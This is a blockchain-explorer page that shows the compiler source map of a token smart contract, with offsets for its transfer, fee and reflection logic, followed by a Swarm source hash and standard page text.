;;;;;;;;40809:11;:20;;-1:-1:-1;;;;;;40809:20:0;-1:-1:-1;;;;;40809:20:0;;;;;39629:1453;;;-1:-1:-1;;;;;40881:26:0;;;;;;:18;:26;;;;;;;;40877:87;;;40928:11;:20;;-1:-1:-1;;;;;;40928:20:0;-1:-1:-1;;;;;40928:20:0;;;;;40877:87;-1:-1:-1;;;;;40982:29:0;;;;;;:18;:29;;;;;;;;40978:93;;;41032:11;:23;;-1:-1:-1;;;;;;41032:23:0;-1:-1:-1;;;;;41032:23:0;;;;;40978:93;41094:28;41125;41136:7;41145;41125:10;:28::i;:::-;-1:-1:-1;;;;;41170:19:0;;;;;;:11;:19;;;;;;41094:59;;-1:-1:-1;41170:19:0;;:46;;;;-1:-1:-1;;;;;;41194:22:0;;;;;;:11;:22;;;;;;;;41193:23;41170:46;41166:467;;;-1:-1:-1;;;;;41251:15:0;;;;;;:7;:15;;;;;;:25;;41269:7;;41251:25;:::i;:::-;-1:-1:-1;;;;;41233:15:0;;;;;;:7;:15;;;;;:43;41166:467;;;-1:-1:-1;;;;;41299:19:0;;;;;;:11;:19;;;;;;;;41298:20;:46;;;;-1:-1:-1;;;;;;41322:22:0;;;;;;:11;:22;;;;;;;;41298:46;41294:339;;;41403:17;;;;-1:-1:-1;;;;;41382:18:0;;;;;;:7;:18;;;;;;:38;;41403:17;41382:38;:::i;:::-;-1:-1:-1;;;;;41361:18:0;;;;;;:7;:18;;;;;:59;41294:339;;;-1:-1:-1;;;;;41442:19:0;;;;;;:11;:19;;;;;;;;:45;;;;-1:-1:-1;;;;;;41465:22:0;;;;;;:11;:22;;;;;;;;41442:45;41438:195;;;-1:-1:-1;;;;;41522:15:0;;;;;;:7;:15;;;;;;:25;;41540:7;;41522:25;:::i;:::-;-1:-1:-1;;;;;41504:15:0;;;;;;;:7;:15;;;;;;:43;;;;41604:17;;;;41583:18;;;;;;;;;;:38;;41604:17;41583:38;:::i;:::-;-1:-1:-1;;;;;41562:18:0;;;;;;:7;:18;;;;;:59;41438:195;41681:9;;-1:-1:-1;;;;;41663:15:0;;41681:9;41663:15;;;:7;:15;;;;;;:27;;41681:9;41663:27;:::i;:::-;-1:-1:-1;;;;;41645:15:0;;;;;;;:7;:15;;;;;;;;:45;;;;41743:17;;;41722:18;;;;;;;;;;:38;;41743:17;41722:38;:::i;:::-;-1:-1:-1;;;;;41701:18:0;;;;;;:7;:18;;;;;:59;41773:305;;;;41801:27;41813:1;:6;;;41821:1;:6;;;41801:11;:27::i;:::-;41843:42;41858:1;:12;;;41872:1;:12;;;41843:14;:42::i;:::-;41900;41915:1;:12;;;41929:1;:12;;;41900:14;:42::i;:::-;41957:27;41967:1;:7;;;41976:1;:7;;;41957:9;:27::i;:::-;42031:4;-1:-1:-1;;;;;42006:60:0;42015:6;-1:-1:-1;;;;;42006:60:0;;42053:1;:12;;;42038:1;:12;;;:27;;;;:::i;:::-;42006:60;;1258:25:1;;;1246:2;1231:18;42006:60:0;;;;;;;41773:305;42112:9;-1:-1:-1;;;;;42095:46:0;42104:6;-1:-1:-1;;;;;42095:46:0;;42123:1;:17;;;42095:46;;;;1258:25:1;;1246:2;1231:18;;1112:177;42095:46:0;;;;;;;;42152:34;:19;42176:9;42152:23;:34::i;:::-;;42203:17;42213:6;42203:9;:17::i;:::-;42224:1;42203:22;42199:62;;42227:34;:19;42254:6;42227:26;:34::i;:::-;;42199:62;39618:2651;39477:2792;;;;:::o;9156:675::-;9222:4;9260:19;;;:12;;;:19;;;;;;9296:15;;9292:532;;9328:21;9352:14;9365:1;9352:10;:14;:::i;:::-;9401:18;;9328:38;;-1:-1:-1;9381:17:0;;9401:22;;9422:1;;9401:22;:::i;:::-;9381:42;;9457:13;9444:9;:26;9440:223;;9491:17;9511:3;:11;;9523:9;9511:22;;;;;;;;:::i;:::-;;;;;;;;;9491:42;;9583:9;9554:3;:11;;9566:13;9554:26;;;;;;;;:::i;:::-;;;;;;;;;;;;:38;;;;9611:23;;;:12;;;:23;;;;;:36;;;9440:223;9679:17;;:3;;:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;9720:3;:12;;:19;9733:5;9720:19;;;;;;;;;;;9713:26;;;9763:4;9756:11;;;;;;;9292:532;9807:5;9800:12;;;;;34951:654;35052:28;;:::i;:::-;35103:7;35098:91;;35127:17;;;:27;;;35169:8;;35098:91;35219:11;:15;35238:3;;35209:25;;:7;:25;:::i;:::-;35208:33;;;;:::i;:::-;35199:6;;;:42;35278:21;;35303:3;;35268:31;;:7;:31;:::i;:::-;35267:39;;;;:::i;:::-;35252:12;;;:54;35343:21;;35368:3;;35333:31;;:7;:31;:::i;:::-;35332:39;;;;:::i;:::-;35317:12;;;:54;35403:16;;35423:3;;35393:26;;:7;:26;:::i;:::-;35392:34;;;;:::i;:::-;35382:7;;;:44;;;35543:12;;;;35515;;;;35493:6;;;;35470:29;;:7;:29;:::i;:::-;:57;;;;:::i;:::-;:85;;;;:::i;:::-;:108;;;;:::i;:::-;35437:17;;;:141;34951:654;;;;:::o;36459:161::-;36501:7;36522:15;36539;36558:19;:17;:19::i;:::-;36521:56;;-1:-1:-1;36521:56:0;-1:-1:-1;36595:17:0;36521:56;;36595:17;:::i;:::-;36588:24;;;;36459:161;:::o;35613:838::-;-1:-1:-1;36038:1:0;36060:7;35822:15;;;;;36085:7;36080:78;;-1:-1:-1;36117:7:0;;-1:-1:-1;36135:1:0;;-1:-1:-1;36135:1:0;;-1:-1:-1;36135:1:0;;-1:-1:-1;36135:1:0;36109:37;;36080:78;-1:-1:-1;;;;36177:6:0;;;;36207:12;;;;36243;;;;36274:7;;;;;36243:12;36207;36312:14;36177:6;36312:7;:14;:::i;:::-;:27;;;;:::i;:::-;:40;;;;:::i;:::-;:48;;;;:::i;:::-;36294:66;;35613:838;;;;;;;;;;;;:::o;37232:134::-;37320:4;37310:7;;:14;;;;:::i;:::-;37300:7;:24;37335:11;:23;;37354:4;;37335:11;:15;;:23;;37354:4;;37335:23;:::i;:::-;;;;-1:-1:-1;;;;37232:134:0:o;37374:384::-;37494:10;37457:15;:33;;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;37515:21:0;:35;;37540:10;;37515:21;;;:35;;37540:10;;37515:35;:::i;:::-;;;;-1:-1:-1;;37602:4:0;37586:22;;;;:7;:22;;;;;;:35;;37611:10;;37586:35;:::i;:::-;37577:4;37561:22;;;;:7;:22;;;;;;;;:60;;;;37636:11;:26;;;;;;37632:119;;;37720:4;37704:22;;;;:7;:22;;;;;;:35;;37729:10;;37704:35;:::i;:::-;37695:4;37679:22;;;;:7;:22;;;;;:60;37374:384;;:::o;37766:366::-;37879:10;37849:15;:26;;;:40;;;;;;;:::i;:::-;;;;-1:-1:-1;;37900:21:0;:35;;37925:10;;37900:21;;;:35;;37925:10;;37900:35;:::i;38140:175::-;38228:5;38208:11;:16;;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;38256:7:0;;:15;;38266:5;;38256:15;:::i;:::-;38246:7;:25;38292:7;;:15;;38302:5;;38292:15;:::i;:::-;38282:7;:25;-1:-1:-1;;38140:175:0:o;10459:::-;10547:4;10576:50;10581:3;-1:-1:-1;;;;;10601:23:0;;10576:4;:50::i;36628:596::-;36726:7;;36762;;36679;;;;;36780:332;36804:9;:16;36800:20;;36780:332;;;36888:7;36864;:21;36872:9;36882:1;36872:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;36872:12:0;36864:21;;;;;;;;;;;;;:31;;:83;;;36940:7;36916;:21;36924:9;36934:1;36924:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;36924:12:0;36916:21;;;;;;;;;;;;;:31;36864:83;36842:146;;;36971:7;;36980;;36963:25;;;;;;;36628:596;;:::o;36842:146::-;37023:7;:21;37031:9;37041:1;37031:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;37031:12:0;37023:21;;;;;;;;;;;;;37013:31;;:7;:31;:::i;:::-;37003:41;;37079:7;:21;37087:9;37097:1;37087:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;37087:12:0;37079:21;;;;;;;;;;;;;37069:31;;:7;:31;:::i;:::-;37059:41;-1:-1:-1;36822:3:0;;36780:332;;;;37146:7;;37136;;:17;;;;:::i;:::-;37126:7;:27;37122:58;;;37163:7;;37172;;37155:25;;;;;;36628:596;;:::o;37122:58::-;37199:7;;37208;;-1:-1:-1;36628:596:0;-1:-1:-1;36628:596:0:o;8857:291::-;8920:4;9968:19;;;:12;;;:19;;;;;;8937:204;;-1:-1:-1;8980:23:0;;;;;;;;:11;:23;;;;;;;;;;;;;9040:18;;9018:19;;;:12;;;:19;;;;;;:40;;;;9073:11;;8937:204;-1:-1:-1;9124:5:0;9117:12;;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:186::-;1353:6;1406:2;1394:9;1385:7;1381:23;1377:32;1374:52;;;1422:1;1419;1412:12;1374:52;1445:29;1464:9;1445:29;:::i;1485:374::-;1562:6;1570;1578;1631:2;1619:9;1610:7;1606:23;1602:32;1599:52;;;1647:1;1644;1637:12;1599:52;1670:29;1689:9;1670:29;:::i;:::-;1660:39;;1718:38;1752:2;1741:9;1737:18;1718:38;:::i;:::-;1485:374;;1708:48;;-1:-1:-1;;;1825:2:1;1810:18;;;;1797:32;;1485:374::o;1864:160::-;1929:20;;1985:13;;1978:21;1968:32;;1958:60;;2014:1;2011;2004:12;2029:180;2085:6;2138:2;2126:9;2117:7;2113:23;2109:32;2106:52;;;2154:1;2151;2144:12;2106:52;2177:26;2193:9;2177:26;:::i;2214:226::-;2273:6;2326:2;2314:9;2305:7;2301:23;2297:32;2294:52;;;2342:1;2339;2332:12;2294:52;-1:-1:-1;2387:23:1;;2214:226;-1:-1:-1;2214:226:1:o;2634:294::-;2699:6;2707;2760:2;2748:9;2739:7;2735:23;2731:32;2728:52;;;2776:1;2773;2766:12;2728:52;2821:23;;;-1:-1:-1;2887:35:1;2918:2;2903:18;;2887:35;:::i;:::-;2877:45;;2634:294;;;;;:::o;2933:610::-;3019:6;3027;3080:2;3068:9;3059:7;3055:23;3051:32;3048:52;;;3096:1;3093;3086:12;3048:52;3136:9;3123:23;3169:18;3161:6;3158:30;3155:50;;;3201:1;3198;3191:12;3155:50;3224:22;;3277:4;3269:13;;3265:27;-1:-1:-1;3255:55:1;;3306:1;3303;3296:12;3255:55;3346:2;3333:16;3372:18;3364:6;3361:30;3358:50;;;3404:1;3401;3394:12;3358:50;3457:7;3452:2;3442:6;3439:1;3435:14;3431:2;3427:23;3423:32;3420:45;3417:65;;;3478:1;3475;3468:12;3417:65;3509:2;3501:11;;;;;3531:6;;-1:-1:-1;2933:610:1;-1:-1:-1;;;2933:610:1:o;3548:587::-;3634:6;3642;3650;3658;3711:3;3699:9;3690:7;3686:23;3682:33;3679:53;;;3728:1;3725;3718:12;3679:53;-1:-1:-1;;3773:23:1;;;3893:2;3878:18;;3865:32;;-1:-1:-1;3996:2:1;3981:18;;3968:32;;4099:2;4084:18;4071:32;;-1:-1:-1;3548:587:1;-1:-1:-1;3548:587:1:o;4997:420::-;5074:6;5082;5090;5143:2;5131:9;5122:7;5118:23;5114:32;5111:52;;;5159:1;5156;5149:12;5111:52;5204:23;;;-1:-1:-1;5324:2:1;5309:18;;5296:32;;-1:-1:-1;5373:38:1;5407:2;5392:18;;5373:38;:::i;:::-;5363:48;;4997:420;;;;;:::o;5422:260::-;5490:6;5498;5551:2;5539:9;5530:7;5526:23;5522:32;5519:52;;;5567:1;5564;5557:12;5519:52;5590:29;5609:9;5590:29;:::i;:::-;5580:39;;5638:38;5672:2;5661:9;5657:18;5638:38;:::i;5687:356::-;5889:2;5871:21;;;5908:18;;;5901:30;5967:34;5962:2;5947:18;;5940:62;6034:2;6019:18;;5687:356::o;6811:127::-;6872:10;6867:3;6863:20;6860:1;6853:31;6903:4;6900:1;6893:15;6927:4;6924:1;6917:15;6943:127;7004:10;6999:3;6995:20;6992:1;6985:31;7035:4;7032:1;7025:15;7059:4;7056:1;7049:15;7075:128;7142:9;;;7163:11;;;7160:37;;;7177:18;;:::i;7208:127::-;7269:10;7264:3;7260:20;7257:1;7250:31;7300:4;7297:1;7290:15;7324:4;7321:1;7314:15;7340:125;7405:9;;;7426:10;;;7423:36;;;7439:18;;:::i;11727:168::-;11800:9;;;11831;;11848:15;;;11842:22;;11828:37;11818:71;;11869:18;;:::i;11900:217::-;11940:1;11966;11956:132;;12010:10;12005:3;12001:20;11998:1;11991:31;12045:4;12042:1;12035:15;12073:4;12070:1;12063:15;11956:132;-1:-1:-1;12102:9:1;;11900:217::o
Swarm Source
ipfs://39f59f1c0b92c7d5b359d06be548f12473e341c2d8aa2a956985e50d046ab1e4
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 31 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.